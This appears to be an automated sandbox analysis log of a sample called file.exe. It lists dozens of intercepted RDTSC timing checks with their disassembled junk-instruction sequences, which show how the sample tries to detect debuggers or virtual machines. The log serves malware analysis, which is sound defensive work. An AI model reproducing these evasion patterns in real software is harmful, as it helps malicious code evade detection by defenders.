Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB2DE3 second address: EB2DE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB322D second address: EB3232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7A84 second address: EB7AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8854FAEB97h 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB691A second address: EB6961 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8854FD8866h 0x00000008 pop edx 0x00000009 jmp 00007F8854FD8861h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007F8854FD8865h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83A82 second address: E83A88 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83A88 second address: E83A9A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8854FD8858h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83A9A second address: E83AF7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8854FAEB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b nop 0x0000000c mov ecx, dword ptr [ebp+122D1E5Ah] 0x00000012 jmp 00007F8854FAEB91h 0x00000017 lea eax, dword ptr [ebp+1248383Dh] 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F8854FAEB88h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 mov ecx, edi 0x00000039 nop 0x0000003a jns 00007F8854FAEB8Ah 0x00000040 push eax 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83AF7 second address: E83AFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E83C56 second address: E83C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8402C second address: E8403B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007F8854FD885Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8403B second address: E84052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jg 00007F8854FAEB8Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84052 second address: CD3BE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1D8Fh], esi 0x0000000e push dword ptr [ebp+122D0D25h] 0x00000014 adc edx, 581B92B8h 0x0000001a mov cx, 0880h 0x0000001e call dword ptr [ebp+122D1C98h] 0x00000024 pushad 0x00000025 clc 0x00000026 xor eax, eax 0x00000028 cld 0x00000029 mov edx, dword ptr [esp+28h] 0x0000002d mov dword ptr [ebp+122D1D62h], edi 0x00000033 mov dword ptr [ebp+122D2DD9h], eax 0x00000039 add dword ptr [ebp+122D1D62h], ebx 0x0000003f mov esi, 0000003Ch 0x00000044 cmc 0x00000045 add esi, dword ptr [esp+24h] 0x00000049 pushad 0x0000004a add dword ptr [ebp+122D1D62h], esi 0x00000050 mov dword ptr [ebp+122D1D62h], ecx 0x00000056 popad 0x00000057 lodsw 0x00000059 mov dword ptr [ebp+122D1D62h], ecx 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 cmc 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 pushad 0x00000069 mov edi, dword ptr [ebp+122D2C21h] 0x0000006f movsx ecx, ax 0x00000072 popad 0x00000073 jmp 00007F8854FD8864h 0x00000078 push eax 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E841A5 second address: E841A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E841A9 second address: E841AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E841AD second address: E84213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F8854FAEB86h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 jnp 00007F8854FAEB90h 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jmp 00007F8854FAEB95h 0x00000021 mov eax, dword ptr [eax] 0x00000023 push edx 0x00000024 push edx 0x00000025 jnp 00007F8854FAEB86h 0x0000002b pop edx 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push ebx 0x00000032 ja 00007F8854FAEB88h 0x00000038 pop ebx 0x00000039 pop eax 0x0000003a mov dword ptr [ebp+122D38B2h], edi 0x00000040 push 9676C7A0h 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84213 second address: E84217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84313 second address: E84332 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8854FAEB95h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84332 second address: E84337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84F0E second address: E84F68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8854FAEB8Dh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F8854FAEB88h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D1DBCh] 0x00000030 lea eax, dword ptr [ebp+12483881h] 0x00000036 cmc 0x00000037 nop 0x00000038 ja 00007F8854FAEB98h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84F68 second address: E84F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84F6C second address: E84F70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84F70 second address: E84F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F8854FD8863h 0x0000000d ja 00007F8854FD885Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84F93 second address: E84FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 xor cl, FFFFFFFFh 0x00000009 lea eax, dword ptr [ebp+1248383Dh] 0x0000000f jmp 00007F8854FAEB8Dh 0x00000014 mov edx, dword ptr [ebp+122D2B59h] 0x0000001a push eax 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E84FBB second address: E84FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49F5A second address: E49F6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB91h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7169 second address: EB7183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 js 00007F8854FD8856h 0x0000000d jg 00007F8854FD8856h 0x00000013 jns 00007F8854FD8856h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7461 second address: EB7465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7465 second address: EB746F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8854FD8856h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB746F second address: EB7485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F8854FAEB8Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7485 second address: EB74A9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8854FD886Ah 0x00000008 jmp 00007F8854FD885Eh 0x0000000d jc 00007F8854FD8856h 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F8854FD8856h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB762C second address: EB763F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Eh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCB07 second address: EBCB13 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8854FD8856h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCB13 second address: EBCB19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCB19 second address: EBCB1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCB1F second address: EBCB37 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8854FAEB86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 js 00007F8854FAEB86h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBCCBE second address: EBCCE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8854FD8864h 0x00000008 jmp 00007F8854FD8860h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC72C second address: EBC732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBC732 second address: EBC74D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FD8867h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD68D second address: EBD6A6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8854FAEB88h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8854FAEB8Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD6A6 second address: EBD6AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5E43 second address: EC5E53 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8854FAEB92h 0x00000008 jp 00007F8854FAEB86h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5E53 second address: EC5E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5FD4 second address: EC5FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC62B6 second address: EC62C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push esi 0x0000000a jp 00007F8854FD885Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC691C second address: EC6926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6A83 second address: EC6AA2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F8854FD8863h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6AA2 second address: EC6AA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6AA6 second address: EC6ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F8854FD8856h 0x0000000e jbe 00007F8854FD8856h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6ABA second address: EC6ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6ABE second address: EC6AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5AA1 second address: EC5AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E268 second address: E3E26C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCF83 second address: ECCF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F8854FAEB86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCF90 second address: ECCFCA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8854FD8856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F8854FD887Bh 0x00000010 popad 0x00000011 push ebx 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC84C second address: ECC85D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC9D1 second address: ECC9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC9D6 second address: ECCA07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8854FAEB86h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push edx 0x0000000f jno 00007F8854FAEB86h 0x00000015 pop edx 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8854FAEB95h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCA07 second address: ECCA0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCA0B second address: ECCA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCCF1 second address: ECCCFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8854FD8856h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCCFB second address: ECCD07 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCD07 second address: ECCD0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCD0B second address: ECCD0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF3AB second address: ECF3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8854FD8856h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECF0D1 second address: ECF0D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2EDD second address: ED2F03 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8854FD886Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2F03 second address: ED2F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2F07 second address: ED2F0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2803 second address: ED2818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FAEB91h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2818 second address: ED281C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED281C second address: ED283E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FAEB90h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F8854FAEB8Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED283E second address: ED284F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FD885Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED284F second address: ED28B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jnc 00007F8854FAEB86h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 jng 00007F8854FAEB86h 0x0000001f jmp 00007F8854FAEB8Fh 0x00000024 jmp 00007F8854FAEB94h 0x00000029 popad 0x0000002a jmp 00007F8854FAEB8Eh 0x0000002f push eax 0x00000030 push edx 0x00000031 js 00007F8854FAEB86h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED28B2 second address: ED28B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2BC8 second address: ED2BCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2BCE second address: ED2BD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2BD2 second address: ED2BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2BDE second address: ED2C03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F8854FD8858h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007F8854FD8856h 0x00000019 jno 00007F8854FD8856h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D5D9 second address: E4D5DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D5DD second address: E4D5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D5E1 second address: E4D5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D5E7 second address: E4D60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F8854FD885Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 jmp 00007F8854FD885Ah 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D60E second address: E4D612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D612 second address: E4D618 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D618 second address: E4D620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D620 second address: E4D624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4D624 second address: E4D628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED7D62 second address: ED7D83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 je 00007F8854FD8858h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jnc 00007F8854FD8856h 0x00000017 push edx 0x00000018 pop edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED81B2 second address: ED81BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED81BA second address: ED81C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
